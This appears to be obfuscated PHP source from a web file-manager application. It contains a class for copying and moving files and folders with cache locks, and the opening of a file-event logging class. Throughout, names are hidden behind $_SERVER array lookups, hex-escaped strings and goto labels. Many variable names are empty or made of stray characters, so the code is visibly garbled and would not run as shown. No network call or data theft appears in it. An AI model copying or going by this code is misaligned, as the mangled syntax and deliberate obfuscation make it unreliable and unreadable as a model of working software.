SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($ޙ) { $ =& $_SERVER[Ǿ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[549], $ޙ); $ = 1; $this->_lockEvent($ޙ, array($[550], $[551]), $); $this->_lockParent($ޙ, array($[551]), $); $this->_lockEvent($ޙ, array($[552], $[553]), $); $this->_lockCheckEnd($[549], $ޙ); } public function lockCopyEnd($Ǝ֨) { $֓ =& $_SERVER[Ǿ]; if (!$this->allowLock()) { return; } $ƚʗ = 0; $this->_lockEvent($Ǝ֨, array($֓[550], $֓[551]), $ƚʗ); $this->_lockParent($Ǝ֨, array($֓[551]), $ƚʗ); $this->_lockEvent($Ǝ֨, array($֓[552], $֓[553]), $ƚʗ); } public function lockWriteStart($, $ƃ = '') { $üԉ =& $_SERVER[Ǿ]; if (!$this->allowLock()) { return; } $this->_lockCheck($üԉ[550], $); $͢ = 1; $this->_lockKey($üԉ[554] . $ . $üԉ[20] . $ƃ, $͢); $this->_lockEvent($, array($üԉ[549], $üԉ[551]), $͢); $this->_lockParent($, array($üԉ[549], $üԉ[551]), $͢); $this->_lockCheckEnd($üԉ[550], $); } public function lockWriteEnd($֭, $ = '') { $Ș =& $_SERVER[Ǿ]; if (!$this->allowLock()) { return; } $Ԅ = 0; $this->_lockKey($Ș[554] . $֭ . $Ș[20] . $, $Ԅ); $this->_lockEvent($֭, array($Ș[549], $Ș[551]), $Ԅ); $this->_lockParent($֭, array($Ș[549], $Ș[551]), $Ԅ); } public function lockMoveStart($Ѧ) { $氿 =& $_SERVER[Ǿ]; if (!$this->allowLock()) { return; } $this->_lockCheck($氿[551], $Ѧ); $‚ = 1; $this->_lockKey($氿[555] . $Ѧ, $‚); $this->_lockEvent($Ѧ, array($氿[549], $氿[550]), $‚); $this->_lockParent($Ѧ, array($氿[549], $氿[551]), $‚); $this->_lockEvent($Ѧ, array($氿[556], $氿[552], $氿[553]), $‚); $this->_lockCheckEnd($氿[551], $Ѧ); } public function lockMoveEnd($ֲ) { $ =& $_SERVER[Ǿ]; if (!$this->allowLock()) { return; } $̧ = 0; $this->_lockKey($[555] . $ֲ, $̧); $this->_lockEvent($ֲ, array($[549], $[550]), $̧); $this->_lockParent($ֲ, array($[549], $[551]), $̧); $this->_lockEvent($ֲ, array($[556], $[552], $[553]), $̧); } private function _lockCheck($ӌ, $) { $Ų =& $_SERVER[Ǿ]; $ = $this->sourceInfo($); $ٞ = $ӌ . $Ų[20] . $; $this->_lockTimeStart[$ٞ] = timeFloat(); if (!is_array($)) { return; } $ = LNG($Ų[557]); CacheLock::setErrorMsg($Ų[169] . htmlspecialchars($[$Ų[42]]) . $Ų[536] . $); $this->_lockKey($ٞ, 1); $this->_lockKey($ٞ, 0); $ѡےȦ = array_reverse($this->parentLevelArray($[$Ų[521]])); foreach ($ѡےȦ as $џ) { $ٞ = $ӌ . $Ų[558] . $џ; if (CacheLock::lockGet($Ų[559] . $ٞ)) { $ = $this->sourceInfo($џ); CacheLock::setErrorMsg($Ų[169] . htmlspecialchars($[$Ų[42]]) . $Ų[536] . $); $this->_lockKey($ٞ, 1); $this->_lockKey($ٞ, 0); } } } private function _lockCheckEnd($, $Ͽͣ) { $ү =& $_SERVER[Ǿ]; $݄ = $ . $ү[20] . $Ͽͣ; CacheLock::setErrorMsg($ү[382]); if (!isset($this->_lockTimeStart[$݄])) { return; } $ = timeFloat() - $this->_lockTimeStart[$݄]; unset($this->_lockTimeStart[$݄]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$ү[458] . $Ͽͣ]); } $߷ = $this->sourceInfo($Ͽͣ); if (!$߷) { show_json(LNG($ү[116]), !1); } } private function _lockParent($, $룠, $Йْ) { if (!$this->autoLockSet) { return; } $辪 = $this->sourceInfo($); if (!is_array($辪)) { return; } $ = array_reverse($this->parentLevelArray($辪[$_SERVER[Ǿ][521]])); foreach ($ as $) { $this->_lockEvent($, $룠, $Йْ); } } private function _lockEvent($, $Հ, $۵) { $Ԭ =& $_SERVER[Ǿ]; if (!$this->autoLockSet) { return; } foreach ($Հ as $ώ) { $ = $ώ . $Ԭ[20] . $; if ($۵ && CacheLock::lockGet($Ԭ[559] . $)) { continue; } $this->_lockKey($, $۵); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($҈, $Σ = 1) { $ = $_SERVER[Ǿ][559] . md5($҈); if ($Σ) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($䚾, $딗) { $Ց =& $_SERVER[Ǿ]; $۷ = $this->sourceInfo($䚾); $ = $this->sourceInfo($딗); $᣶ = $۷[$Ց[521]] . $۷[$Ց[403]] . $Ց[60]; $Ә = $[$Ց[521]] . $[$Ց[403]] . $Ց[60]; $Տ = strpos($Ә, $᣶) === 0; return $Տ; } private $targetIsDelete = 0; public function copy($⦁, $غ, $̆ = REPEAT_REPLACE, $ֲ = '') { $ߌ =& $_SERVER[Ǿ]; $ = $this->sourceInfo($⦁); $ߨ = $this->sourceInfo($غ); if (!$ || !$ߨ || $ߨ[$ߌ[411]] != $ߌ[99]) { return !1; } if ($this->isParentOf($⦁, $غ)) { return !1; } $ = $ֲ ? $ֲ : $[$ߌ[42]]; $this->lockCopyStart($⦁); $this->lockWriteStart($غ, $); $˼Ͳ = array($ߌ[560] => array(), $ߌ[561] => array(), $ߌ[562] => array()); $this->targetIsDelete = intval($[$ߌ[431]]); $؉ = $this->fileNameExistCache($غ, $[$ߌ[42]]); $͠ɚ = $this->_copy($⦁, $غ, $̆, $˼Ͳ, !0, $ֲ); $this->_childrenListClear(); $this->lockCopyEnd($⦁); $this->lockWriteEnd($غ, $); if ($[$ߌ[411]] == $ߌ[99] && $؉ == $͠ɚ) { $this->folderSizeResetChildren($؉); } Model($ߌ[563])->addAll($˼Ͳ[$ߌ[561]], array(), !0); if ($؉ != $͠ɚ || $[$ߌ[411]] == $ߌ[99]) { Model($ߌ[564])->eventCopy($͠ɚ); } $this->saveAll($˼Ͳ[$ߌ[562]]); Model($ߌ[202])->linkAdd($˼Ͳ[$ߌ[560]]); $this->folderSizeReset($غ); $this->updateModifyTime($غ); return $͠ɚ; } private function _copy($ߩʙ, $߈, $냸, &$Ŏ, $۾, $ = '') { $ڏɪ =& $_SERVER[Ǿ]; $ш = $this->sourceInfoCache($ߩʙ); $ = $ш[$ڏɪ[411]] == $ڏɪ[99]; $ = $ ? $ : $ш[$ڏɪ[42]]; $ = $this->fileNameExistCache($߈, $); if ($۾) { $this->_childrenAllMake($ߩʙ); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($ߩʙ, $߈, $, $Ŏ); } $꺒 = $; if ($) { if ($냸 == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($߈, $, $냸, $); $꺒 = $this->_copyCreate($ߩʙ, $߈, $, $Ŏ); } else { $¸ = $this->_childrenList($ߩʙ); foreach ($¸ as $) { $this->_copy($[$ڏɪ[403]], $, $냸, $Ŏ, !1); } } } else { if ($냸 == REPEAT_RENAME || $냸 == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($߈, $, $냸, $); $꺒 = $this->_copyCreate($ߩʙ, $߈, $, $Ŏ); } else { if ($냸 == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ل޿ = $this->fileHistory($, $ш[$ڏɪ[467]], $ш[$ڏɪ[90]]); if ($ل޿) { $Ŏ[$ڏɪ[560]][] = $ш[$ڏɪ[467]]; } } else { if ($냸 == REPEAT_SKIP) { } } } Hook::trigger($ڏɪ[565], array($ڏɪ[566], $ш, 0)); } return $꺒; } private function _copyCreate($쮕, $, $, &$Ѫ) { $ =& $_SERVER[Ǿ]; $ = $this->sourceInfoCache($쮕); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[567], $); Hook::trigger($[568], array($[569], $, 0)); $ = $this->add($); $ = array($[403] => $, $[42] => $); $this->_copyApplyMeta($, $Ѫ); if ($[$[411]] != $[99]) { $Ѫ[$[560]][] = $[$[467]]; return $; } $ = array(); $譄 = array(); $this->_childrenListAll($쮕, $); $ = count($); if ($ == 0) { return $; } $Ԛ = $this->sourceInfo($); foreach ($ as $Ž) { $ = $this->_makeItemData($Ž, $Ԛ, $Ž[$[42]]); $[$[521]] = $Ž[$[521]]; $譄[] = $; } $this->chunkEventSet($[570], array($[571], $, $)); $this->addAll($譄, array(), !1); $ = $this->where(array($[498] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$쮕] = $; $Սԏυ = array(); $ = array(); foreach ($ as $Ž) { $ = $Ž[$[403]]; $ӟ = $this->_childrenMatch($, $Ž, $Ԛ); $Սԏυ[] = array($[403], $, $[498], $ӟ[$[498]]); $[] = array($[403], $, $[521], $ӟ[$[521]]); $this->_copyApplyMeta($Ž, $Ѫ); if ($Ž[$[411]] != $[99]) { $Ѫ[$[560]][] = $Ž[$[467]]; } } $this->chunkEventSet($[572], array($[573], $, $)); $this->saveAll($Սԏυ); $this->chunkEventSet($[574], array($[575], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($ҋ, $) { $ֶ =& $_SERVER[Ǿ]; $󨫙 = array(); $ْֆ = array(); foreach ($ҋ as $䰝׳) { $֫ژ = $䰝׳[$ֶ[42]] . $ֶ[18] . $䰝׳[$ֶ[521]]; $󨫙[$֫ژ] = $䰝׳[$ֶ[403]]; } foreach ($ as $䰝׳) { $֫ژ = $䰝׳[$ֶ[42]] . $ֶ[18] . $䰝׳[$ֶ[521]]; $ϛ˥ = $󨫙[$֫ژ]; $ْֆ[$ϛ˥] = $䰝׳[$ֶ[403]]; } return $ْֆ; } private function _childrenMatch($ĘϺ, $清, $̐) { $ =& $_SERVER[Ǿ]; $ = $̐[$[521]]; $伫 = $this->parentLevelArray($清[$[521]]); foreach ($伫 as $) { if (isset($ĘϺ[$])) { $ .= $ĘϺ[$] . $[576]; } } $ = rtrim($, $[60]) . $[60]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($[498] => $, $[521] => $); } private function _makeItemData($񚾞, $𝨜, $) { $ =& $_SERVER[Ǿ]; $´ = array($[577] => $񚾞[$[411]], $[421] => $, $[578] => $񚾞[$[413]] ? $񚾞[$[413]] : $[22], $[468] => $񚾞[$[467]] ? $񚾞[$[467]] : 0, $[579] => $񚾞[$[90]] ? $񚾞[$[90]] : 0, $[580] => intval($𝨜[$[412]]), $[581] => intval($𝨜[$[504]]), $[582] => intval(USER_ID), $[583] => intval(USER_ID), $[402] => intval($𝨜[$[403]]), $[584] => $𝨜[$[521]] . $𝨜[$[403]] . $[60], $[425] => $񚾞[$[96]] ? $񚾞[$[96]] : time(), $[430] => 0, $[585] => $[22]); return $´; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[Ǿ]; $ = $[$[403]]; $ҙ = $[$[42]]; if (!isset($[$[586]]) || !$[$[586]] || $[$[586]] == $[200]) { $[$[562]][] = array($[403], $, $[586], short_id($)); } if (Input::check($ҙ, $[587])) { $[$[561]][] = array($[403] => $, $[105] => $[464], $[378] => str_replace($[63], $[22], Pinyin::get($ҙ))); $[$[561]][] = array($[403] => $, $[105] => $[463], $[378] => Pinyin::get($ҙ, $[588])); } $[$[561]][] = array($[403] => $, $[105] => $[442], $[378] => KodSort::makeStr($ҙ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $㎄ڻ =& $_SERVER[Ǿ]; $̝ = $this->sourceInfo($); $ = $㎄ڻ[589]; $ꆯ = array($㎄ڻ[521] => array($㎄ڻ[544], $̝[$㎄ڻ[521]] . $ . $㎄ڻ[545]), $㎄ڻ[431] => $this->targetIsDelete); $ײ = $this->field($)->where($ꆯ)->select(); if (!$ײ) { return; } $ײ = array_to_keyvalue($ײ, $㎄ڻ[403]); foreach ($ײ as $窕) { $ = $窕[$㎄ڻ[498]]; $ = $窕[$㎄ڻ[403]]; if (!isset($this->_childrenListCache[$]) && $窕[$㎄ڻ[411]] == $㎄ڻ[99]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $窕; $this->_childrenItemCache[$] = $窕; } } private function _childrenListAll($Ҧ, &$֖͝) { $ҹ =& $_SERVER[Ǿ]; if (!isset($this->_childrenListCache[$Ҧ])) { return; } $ = $this->_childrenListCache[$Ҧ]; foreach ($ as $̵ => $ą) { $֖͝[$̵] = $ą; if ($ą[$ҹ[411]] == $ҹ[99]) { $this->_childrenListAll($̵, $֖͝); } } } private function sourceInfoCache($ǯۭ) { if (isset($this->_childrenItemCache[$ǯۭ])) { return $this->_childrenItemCache[$ǯۭ]; } return $this->sourceInfo($ǯۭ); } private function _childrenList($μ) { if (isset($this->_childrenListCache[$μ])) { return $this->_childrenListCache[$μ]; } return $this->_childrenListSelect($μ); } private function _childrenListSelect($ٞ) { $ =& $_SERVER[Ǿ]; $ɟ = array($[498] => $ٞ, $[431] => $this->targetIsDelete); $꽍 = $this->where($ɟ)->select(); $꽍 = $꽍 ? $꽍 : array(); $ͭ = array_to_keyvalue($꽍, $[403]); $this->_childrenListCache[$ٞ] = $ͭ; foreach ($ͭ as $ٞ => $IJ) { $this->_childrenItemCache[$ٞ] = $IJ; } return $ͭ; } private function fileNameExistCache($, $) { $ڭ =& $_SERVER[Ǿ]; $ = strtolower($); $й = $this->_childrenList($); foreach ($й as $ј) { if ($ == strtolower($ј[$ڭ[42]])) { return $ј[$ڭ[403]]; } } return !1; } private function fileNameAutoCache($͌ձ, $, $Ϭ, $֭) { $ȗ =& $_SERVER[Ǿ]; $ = $this->_childrenList($͌ձ); $ = array_to_keyvalue($, $ȗ[22], $ȗ[42]); return $this->fileNameAutoGet($, $, $Ϭ, $֭); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $ͬ = REPEAT_REPLACE, $ = '') { $ő =& $_SERVER[Ǿ]; $ŝ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($ŝ[$ő[498]] == $[$ő[403]]) { if ($ŝ[$ő[431]] == $ő[99]) { Model($ő[429])->restore(array($)); } if (!$ || $ == $ŝ[$ő[42]]) { return $; } } $ì = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ŝ || !$ || $[$ő[411]] != $ő[99]) { return !1; } Hook::trigger($ő[590], $ì); $this->targetIsDelete = intval($ŝ[$ő[431]]); if ($ŝ[$ő[498]] == $ && $ != $ŝ[$ő[42]]) { $ = $this->fileNameExist($, $); if ($ && $ŝ[$ő[411]] == $ő[200]) { $倭 = $this->sourceInfo($); $䯛 = $this->fileHistory($倭, $ŝ[$ő[467]], $ŝ[$ő[90]]); if (!$䯛) { Model($ő[470])->remove($ŝ[$ő[467]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($ő[591], $ì); return $; } } $ = $ ? $ : $ŝ[$ő[42]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ߦѷ = array($ő[560] => array(), $ő[592] => !1); $this->clearShare($, $); $၍ = $this->fileNameExistCache($, $ŝ[$ő[42]]); $ = $this->_move($, $, $ͬ, $ߦѷ, $); $this->sourceCacheClear(); if ($ŝ[$ő[411]] == $ő[99] && $၍) { $this->folderSizeResetChildren($); } Model($ő[202])->linkAdd($ߦѷ[$ő[560]]); if ($၍ && $ߦѷ[$ő[592]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($ŝ[$ő[498]]); $this->folderSizeReset($); $Ĭ܄ = array($ŝ[$ő[498]], $); if ($ŝ[$ő[411]] == $ő[99]) { $Ĭ܄[] = $; } $this->updateModifyTime($Ĭ܄); Model($ő[564])->eventMove($, $ŝ[$ő[498]], $); Hook::trigger($ő[591], $ì); return $; } private function _move($, $ާݎ, $, &$س, $ = '') { $䦶 =& $_SERVER[Ǿ]; $ٿ߫ = $this->sourceInfo($); $ݶ = $ٿ߫[$䦶[411]] == $䦶[99]; $ = $ ? $ : $ٿ߫[$䦶[42]]; $ = $this->fileNameExistCache($ާݎ, $); $this->lockMoveStart($); $this->lockWriteStart($ާݎ, $); if (!$) { return $this->_moveForce($, $ާݎ, $); } $ = $; $ഇ = !1; if ($ݶ) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($ާݎ, $, $, $ݶ); $ = $this->_moveForce($, $ާݎ, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($); foreach ($ as $޴) { $this->_move($޴[$䦶[403]], $, $, $س); } $ഇ = !0; } } else { if ($ == REPEAT_SKIP) { $ഇ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($ާݎ, $, $, $ݶ); $ = $this->_moveForce($, $ާݎ, $); } else { if ($ == REPEAT_REPLACE) { $ݳ = $this->sourceInfoCache($); $뼅 = $this->fileHistory($ݳ, $ٿ߫[$䦶[467]], $ٿ߫[$䦶[90]]); $ഇ = !0; if ($뼅) { $س[$䦶[560]][] = $ٿ߫[$䦶[467]]; } } } } } if ($ഇ && !$س[$䦶[592]]) { $س[$䦶[592]] = !0; } return $; } private function _moveForce($, $ˌ, $) { $İ =& $_SERVER[Ǿ]; $ޣ = $this->sourceInfo($); $Ԧ = $this->sourceInfo($ˌ); $Ɨԓ = $ޣ[$İ[411]] == $İ[99]; $ށ = array($İ[402] => $Ԧ[$İ[403]], $İ[584] => $Ԧ[$İ[521]] . $Ԧ[$İ[403]] . $İ[60], $İ[580] => $Ԧ[$İ[412]], $İ[581] => $Ԧ[$İ[504]], $İ[583] => USER_ID, $İ[421] => $); $ = $ޣ[$İ[412]] == SourceModel::TYPE_GROUP && $Ԧ[$İ[412]] == SourceModel::TYPE_GROUP && $ޣ[$İ[504]] == $Ԧ[$İ[504]]; if (!$ && $this->moveClearAuth) { Model($İ[502])->authClear($); } $ = $ޣ[$İ[431]] == $İ[99] && $Ԧ[$İ[431]] != $İ[99]; if ($) { $ށ[$İ[430]] = 0; } if ($Ɨԓ) { $۫ = array($İ[584] => array($İ[544], $ޣ[$İ[521]] . $ޣ[$İ[403]] . $İ[545])); $陸 = $ޣ[$İ[521]] . $ޣ[$İ[403]] . $İ[60]; $˵ = $Ԧ[$İ[521]] . $Ԧ[$İ[403]] . $İ[60] . $ޣ[$İ[403]] . $İ[60]; $ = array($İ[584] => array($İ[593], "\162\145\160\154\x61\143\145\50\x70\141\162\145\x6e\164\114\x65\166\x65\154\x2c\47{$陸}\47\x2c\47{$˵}\x27\51"), $İ[580] => $Ԧ[$İ[412]], $İ[581] => $Ԧ[$İ[504]]); if ($) { $[$İ[430]] = 0; } $this->where($۫)->data($)->save(); } $this->where(array($İ[418] => $))->data($ށ)->save(); return $; } private function clearShare($, $ϡ) { $恄 =& $_SERVER[Ǿ]; $݂ = $this->sourceInfo($); $僮 = $this->sourceInfo($ϡ); if ($݂[$恄[504]] == $僮[$恄[504]] && $݂[$恄[412]] == $恄[594]) { return; } $᝟ = array($恄[521] => array($恄[544], $݂[$恄[521]] . $ . $恄[545])); $ݛ = $this->field($恄[418])->where($᝟)->getField($恄[403], !0); if (!$ݛ) { return; } $᝟ = array($恄[403] => array($恄[17], $ݛ), $恄[495] => 1); $浭 = Model($恄[595])->field($恄[488])->where($᝟)->select(); if (!$浭) { return; } $浭 = array_to_keyvalue($浭, $恄[22], $恄[488]); $᝟ = array($恄[488] => array($恄[17], $浭)); Model($恄[595])->where($᝟)->save(array($恄[495] => 0)); Model($恄[596])->where($᝟)->delete(); } public function copyFolderFromIO($Ͽ, $Ȁ, $, $듁, $Ÿ, $ບ = false) { $ =& $_SERVER[Ǿ]; $܌ = array($[561] => array(), $[562] => array(), $[560] => array(), $[597] => array()); $ = $ບ ? $ບ : $Ͽ->pathThis($Ȁ); $ = $this->fileNameExist($, $); $˕ = $this->mkdir($, $, $듁); if (!$ || $듁 == REPEAT_RENAME_FOLDER) { $듁 = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[598]); $this->_copyChildTo($Ͽ, $Ȁ, $˕, $듁, $܌, $Ÿ); Hook::trigger($[599]); if ($˕) { $this->folderSizeResetChildren($˕); } $this->_childrenListClear(); Model($[563])->addAll($܌[$[561]], array(), !0); Model($[564])->eventCopy($˕); $this->saveAll($܌[$[562]]); Model($[470])->linkAdd($܌[$[560]]); Model($[470])->remove($܌[$[597]]); $this->folderSizeReset($); $this->updateModifyTime($); return $˕; } private function _copyChildTo($ㆧ, $׶, $̥, $󢛮, &$, $Ӷ) { $ =& $_SERVER[Ǿ]; $ = $this->sourceInfoCache($̥); $­ = $ㆧ->listPath($׶); $­ = $­ ? $­ : array($[86] => array(), $[87] => array()); $Ṧ = array_merge($­[$[86]], $­[$[87]]); $ = $this->_addFiles($ㆧ, $­[$[86]], $Ӷ); $ٍ = array(); foreach ($Ṧ as &$ΰ) { if (isset($[$ΰ[$[42]]])) { $ΰ = $[$ΰ[$[42]]]; } $ΰ[$[411]] = $ΰ[$[43]] == $[89]; $ΰ[$[413]] = _get($ΰ, $[177], $[22]); $ΰ[$[90]] = _get($ΰ, $[90], 0); $ΰ[$[467]] = _get($ΰ, $[467], 0); if (!isset($ΰ[$[600]]) && $ΰ[$[467]]) { $[$[597]][] = $ΰ[$[467]]; } if ($󢛮) { $ߧ = $this->fileNameExistCache($̥, $ΰ[$[42]]); if ($ߧ) { if ($ΰ[$[411]] || $󢛮 == REPEAT_SKIP) { continue; } if ($󢛮 == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ߧ); $Ϛ = $this->fileHistory($, $ΰ[$[467]], $ΰ[$[90]]); if ($Ϛ) { $[$[560]][] = $ΰ[$[467]]; } continue; } else { if ($󢛮 == REPEAT_RENAME) { $ΰ[$[42]] = $this->fileNameAutoCache($̥, $ΰ[$[42]], $󢛮, !1); } } } } if (!$ΰ[$[411]] && $ΰ[$[467]] == 0) { continue; } if (!$ΰ[$[411]] && $ΰ[$[467]]) { $[$[560]][] = $ΰ[$[467]]; } $ٍ[] = $this->_makeItemData($ΰ, $, $ΰ[$[42]]); } unset($ΰ); if (!empty($ٍ)) { $this->addAll($ٍ); $this->_childrenListSelect($̥); } $ݴ = $this->_childrenList($̥); $ݴ = array_to_keyvalue($ݴ, $[42]); foreach ($Ṧ as $ΰ) { $ = $ݴ[$ΰ[$[42]]]; $ = $[$[403]]; $this->_copyApplyMeta($, $); if ($ΰ[$[43]] == $[89]) { $ΰ[$[88]] = $ㆧ->getPathInner($ΰ[$[88]]); $this->_copyChildTo($ㆧ, $ΰ[$[88]], $, $󢛮, $, $Ӷ); } } } private function _addFiles($, $, $׋) { $ =& $_SERVER[Ǿ]; if (!$ || count($) == 0) { return array(); } $做 = array(); foreach ($ as &$) { Hook::trigger($[601], $); $[$[88]] = $->getPathInner($[$[88]]); $ɪ = $->hashSimple($[$[88]]); $ = $->hashMd5($[$[88]]); if (strlen($) > 10 && !isset($做[$])) { $做[$] = array(); } $[$[180]] = $ɪ; $[$[179]] = $; Hook::trigger($[602], $); $做[$][] =& $; if (count($做[$]) > 1) { $[$[600]] = !0; } } unset($); $υ = array($[179] => array($[17], array_keys($做))); $س = Model($[603]); $ = $س->where($υ)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($做[$[$[179]]])) { continue; } $Ɇ = $做[$[$[179]]]; foreach ($Ɇ as &$) { $[$[467]] = $[$[467]]; $[$[600]] = !0; } unset($); } $޾ = array(); foreach ($ as $ȅ) { if (isset($ȅ[$[600]]) && $ȅ[$[600]]) { continue; } $ø = $->getPathInner($ȅ[$[88]]); $ = $س->addFileMake($ø, $ȅ[$[90]], $ȅ[$[180]], $ȅ[$[179]], $ȅ[$[42]], $׋); if (!is_array($)) { continue; } $޾[] = $; } $س->addAll($޾); $υ = array($[179] => array($[17], array_keys($做))); $ = $س->where($υ)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($做[$[$[179]]])) { continue; } $ȴ =& $做[$[$[179]]]; foreach ($ȴ as &$) { $[$[467]] = $[$[467]]; } unset($); } $ޓ = array(); foreach ($ as $յ) { $ޓ[$յ[$[42]]] = $յ; } return $ޓ; } } define($_SERVER[Ǿ][604], $_SERVER[Ǿ][605]); $txwqmaycik = $_SERVER[Ǿ][606]; goto eՉ; d⟌: class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\165\162\143\x65\x5f\145\x76\145\x6e\x74"; protected $dataAuto = array(array("\x63\x72\x65\141\164\x65\124\151\x6d\x65", "\x74\151\155\145", "\151\x6e\163\145\x72\164", "\x66\x75\x6e\143\164\151\x6f\156"), array("\144\x65\163\143", '', "\151\156\163\145\x72\164\x2c\165\x70\x64\141\164\x65\54\x73\145\x6c\x65\143\164", "\x6a\x73\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ғ, $, $Հ = '') { $ζ =& $_SERVER[Ǿ]; if (!$this->eventSave) { return; } $ = Model($ζ[1310])->sourceInfo($ғ); if (!$) { return !1; } if ($this->isCacheEvent($, $)) { return; } if ($Հ && is_string($Հ)) { $Հ = array($ζ[1846] => $Հ); } $ = array($ζ[418] => $ғ, $ζ[2020] => $[$ζ[498]], $ζ[2021] => $[$ζ[42]], $ζ[519] => !empty($[$ζ[519]]) ? $[$ζ[519]] : $ζ[22], $ζ[1631] => USER_ID, $ζ[423] => $, $ζ[1633] => $Հ); $this->addSystemLog($, $); unset($[$ζ[2021]], $[$ζ[519]]); return $this->add($); } private function addSystemLog($ɨ׸, $л) { $¿ =& $_SERVER[Ǿ]; if ($ɨ׸ == $¿[2022]) { $ɨ׸ = $л[$¿[451]][$¿[2023]]; } else { if (in_array($ɨ׸, array($¿[1788], $¿[2024]))) { $ɨ׸ = $л[$¿[451]][$¿[747]]; } } $ө = array_merge($л, array($¿[2025] => $л[$¿[403]], $¿[2026] => $л[$¿[2026]])); Hook::trigger($¿[2027], $¿[2028] . $ɨ׸, $л); Model($¿[1752])->addLog($¿[2028] . $ɨ׸, $ө); } private function isCacheEvent($, $뙺) { if ($[$_SERVER[Ǿ][412]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($Қ, $) { $ =& $_SERVER[Ǿ]; $֭ = Model($[1310])->sourceInfo($Қ); $ = array($[2023] => $, $[42] => $֭[$[42]]); return $this->addEvent($Қ, $[2022], $); } public function eventFileEdit($) { $ߪ =& $_SERVER[Ǿ]; $ǎ = array($ߪ[2029] => $_SERVER[$ߪ[2030]], $ߪ[2031] => strtolower(ACTION)); return $this->addEvent($, $ߪ[1778], $ǎ); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[Ǿ][2024], $); } public function eventRemove($ҡ) { $ګĀ =& $_SERVER[Ǿ]; $ = Model($ګĀ[1310])->sourceInfo($ҡ); $ś = $[$ګĀ[42]]; return $this->addEvent($[$ګĀ[498]], $ګĀ[1777], $ś); } public function eventShare($ق, $׺) { return $this->addEvent($ق, $_SERVER[Ǿ][1788], $׺); } public function eventMove($, $ɺ, $) { $꠼ =& $_SERVER[Ǿ]; $ = Model($꠼[1310]); $Ն = $->sourceInfo($); $ = $->sourceInfo($ɺ); $Հ = $->sourceInfo($); $թ¡ = array($꠼[1143] => $ɺ, $꠼[2032] => $[$꠼[42]], $꠼[2011] => !empty($[$꠼[519]]) ? $[$꠼[519]] : $꠼[22], $꠼[1144] => $, $꠼[2033] => $Հ[$꠼[42]], $꠼[2034] => !empty($Հ[$꠼[519]]) ? $Հ[$꠼[519]] : $꠼[22]); $this->addEvent($, $꠼[551], $թ¡); $Ն = $->sourceInfo($); $թ¡ = array($꠼[403] => $Ն[$꠼[403]], $꠼[42] => $Ն[$꠼[42]]); $this->addEvent($ɺ, $꠼[2035], $թ¡); } public function eventCopy($ͤ) { $this->eventCreate($ͤ, $_SERVER[Ǿ][549]); } public function eventRename($, $, $Ä) { $蛿 =& $_SERVER[Ǿ]; $ = array($蛿[1143] => $, $蛿[1144] => $Ä); return $this->addEvent($, $蛿[1325], $); } public function eventAddComment($, $эǻ) { return $this->addEvent($, $_SERVER[Ǿ][2036], $эǻ); } public function eventAddDesc($, $؊Ë) { return $this->addEvent($, $_SERVER[Ǿ][2037], $؊Ë); } public function listBySource($ӣ҅) { $ֻ =& $_SERVER[Ǿ]; $ = Model($ֻ[1310])->sourceInfo($ӣ҅); $ = array($ֻ[418] => $ӣ҅); if ($[$ֻ[411]] == $ֻ[99]) { $܍ = Model($ֻ[1310])->listSearchChildren($ӣ҅, 20000); $܍[] = $ӣ҅ . $ֻ[382]; $ = array($ֻ[403] => array($ֻ[17], $܍)); } $ = $this->where($)->order($ֻ[2038])->selectPage(); if ($[$ֻ[370]][$ֻ[371]] == 0) { $[$ֻ[370]][$ֻ[371]] = 1; $[$ֻ[373]] = array(array($ֻ[418] => $ӣ҅, $ֻ[2020] => $[$ֻ[498]], $ֻ[1631] => $[$ֻ[452]], $ֻ[423] => $ֻ[2039], $ֻ[424] => $[$ֻ[203]], $ֻ[1633] => $ֻ[22])); } return $this->eventListParse($, $ӣ҅); } private function eventListParse($ʘ, $) { $ͤ =& $_SERVER[Ǿ]; $㍛ = $ʘ[$ͤ[373]]; $ = array_to_keyvalue($㍛, $ͤ[22], $ͤ[403]); $̧ = 